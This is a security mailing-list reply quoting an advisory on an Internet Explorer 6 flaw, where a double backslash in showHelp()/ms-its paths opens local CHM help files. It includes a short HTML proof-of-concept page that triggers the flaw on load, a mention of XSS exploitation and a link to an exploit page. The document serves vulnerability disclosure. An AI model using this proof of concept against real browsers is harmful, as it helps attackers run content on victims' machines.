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Re: Showhelp() local CHM file execution



In-Reply-To: <20040513091348.20686.qmail@xxxxxxxxxxxxxxxxxxxxx>



it seems its: weakness when handling "\\"causes two issues one being the 
execution of local chm files and the other is parsing of local htm pages stored 
in chm files which could be exploited using xss !
the poc i have given shows both of these issues i 'll try creating an exploit 
using xss and add it to my xploit page.

 

>/--------------------------------------------------------------------/
>
>
>Vendor:              Microsoft Corp.
>product:             IE.6
>test machine:        winxp.pro.ed ,ie6 (FP)
>Discovery by:        Roozbeh Afrasiabi 
>                     (roozbeh_afrasiabi(At)yahoo(dot)com)
>Risk:                Low
>Title:               Showhelp() local CHM file execution
>
>/--------------------------------------------------------------------/
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>TABLE OF CONTENTS:
>==================
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>Description..............................................1
>
>PoC......................................................2
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>Exploit..................................................3
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>Contact info.............................................4
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>Disclaimer...............................................5
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>1)Description:
>==================
>
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>While previous patches were to stop  showhelp from executing CHM files 
>using their path, a weakness in the way the double  "\" is handled  by 
>the its protocol handler allows for the execution of locally installed
>CHM files.when "\\" is placed before  the name of target CHM  file the 
>HELP folder is searched  for such  name , if the help folder dose  not
>contain a file with that name then the  rootdrive  would be  the  next 
>path to be searched,when a file  with  that name is found in either of 
>these paths it would be executed .
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>2)POC
>=========
>
>
><html>
><head>
><title>POC</title>
><p><br><b>HTM help file opened in an iframe</b><br><br>
><iframe id="target" width="700" height="400" src="ms-its:" name="target" 
>scrolling="yes">
></iframe>
><!----SCRIPT LANGUAGE=javascript>
>function getlink(){
>showHelp("ms-its:\\ntshared.chm::/copyright.htm");
>target.location="ms-its:\\ntshared.chm::/copyright.htm";
>}
><!-----/script>
></head>
><body onload=getlink()>
></body>
></html>
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>3)Exploit
>===========
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>http://www.freewebs.com/roozbeh_afrasiabi/xploit/index.htm
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>4)Contact Info
>==================
>
>roozbeh_afrasiabi(at)yahoo(dot)com
>da_stone_cold_killer(at)yahoo(dot)com
>me@persia-fars-shiraz
>
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>=q+hK
>-----END PGP PUBLIC KEY BLOCK-----
>
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>5)Disclaimer
>==================
>
>
>Roozbeh Afrasiabi is not responsible for the misuse of the information  
>provided in this report. In  no event shall  the  author  be liable for any  
>damages whatsoever arising out of or in connection with the use or spread of 
>this advisory. Any use of the information is at the user's own risk.
>
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>                                                                               
>                                                   All Rights Reserved
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